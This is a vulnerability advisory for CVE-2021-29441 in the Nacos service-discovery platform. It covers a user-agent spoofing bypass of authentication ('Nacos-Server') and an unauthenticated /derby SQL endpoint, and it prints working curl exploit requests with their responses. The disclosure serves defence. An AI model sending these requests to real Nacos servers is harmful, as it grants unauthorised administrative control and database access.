CVE-2021-29441

When configured to use authentication (`-Dnacos.core.auth.enabled=true`) Nacos uses the `AuthFilter` servlet filter to enforce authentication. This filter has a [backdoor](https://github.com/alibaba/nacos/blob/5fa05aef52f7432aeab19fe53035431b9d8c91d9/core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java#L78-L81) that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the `user-agent` HTTP header so it can be easily spoofed. The following request to the `configuration` endpoint gets rejected as we are not providing any credentials: ``` ❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld" {"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"} ``` However the following one gets accepted by using the `Nacos-Server` user-agent header: ``` ❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld" true ``` #### Impact This issue may allow any user to carry out any administrative tasks on the Nacos server.

The [`ConfigOpsController`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java) lets the user perform management operations like querying the database or even wiping it out. While the [`/data/remove`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java#L133-L135) endpoint is properly protected with the `@Secured` annotation, the [`/derby`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java#L99-L100) endpoint is not protected and can be openly accessed by unauthenticated users. For example, the following request will list the tables of the database: ``` ❯ curl -X GET 'http://console.nacos.io/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st' {"code":200,"message":null,"data":[{"TABLENAME":"APP_CONFIGDATA_RELATION_PUBS"},{"TABLENAME":"APP_CONFIGDATA_RELATION_SUBS"},{"TABLENAME":"APP_LIST"},{"TABLENAME":"CONFIG_INFO"},{"TABLENAME":"CONFIG_INFO_AGGR"},{"TABLENAME":"CONFIG_INFO_BETA"},{"TABLENAME":"CONFIG_INFO_TAG"},{"TABLENAME":"CONFIG_TAGS_RELATION"},{"TABLENAME":"GROUP_CAPACITY"},{"TABLENAME":"HIS_CONFIG_INFO"},{"TABLENAME":"PERMISSIONS"},{"TABLENAME":"ROLES"},{"TABLENAME":"SYSALIASES"},{"TABLENAME":"SYSCHECKS"},{"TABLENAME":"SYSCOLPERMS"},{"TABLENAME":"SYSCOLUMNS"},{"TABLENAME":"SYSCONGLOMERATES"},{"TABLENAME":"SYSCONSTRAINTS"},{"TABLENAME":"SYSDEPENDS"},{"TABLENAME":"SYSDUMMY1"},{"TABLENAME":"SYSFILES"},{"TABLENAME":"SYSFOREIGNKEYS"},{"TABLENAME":"SYSKEYS"},{"TABLENAME":"SYSPERMS"},{"TABLENAME":"SYSROLES"},{"TABLENAME":"SYSROUTINEPERMS"},{"TABLENAME":"SYSSCHEMAS"},{"TABLENAME":"SYSSEQUENCES"},{"TABLENAME":"SYSSTATEMENTS"},{"TABLENAME":"SYSSTATISTICS"},{"TABLENAME":"SYSTABLEPERMS"},{"TABLENAME":"SYSTABLES"},{"TABLENAME":"SYSTRIGGERS"},{"TABLENAME":"SYSUSERS"},{"TABLENAME":"SYSVIEWS"},{"TABLENAME":"TENANT_CAPACITY"},{"TABLENAME":"TENANT_INFO"},{"TABLENAME":"USERS"}]}% ``` These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)

Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)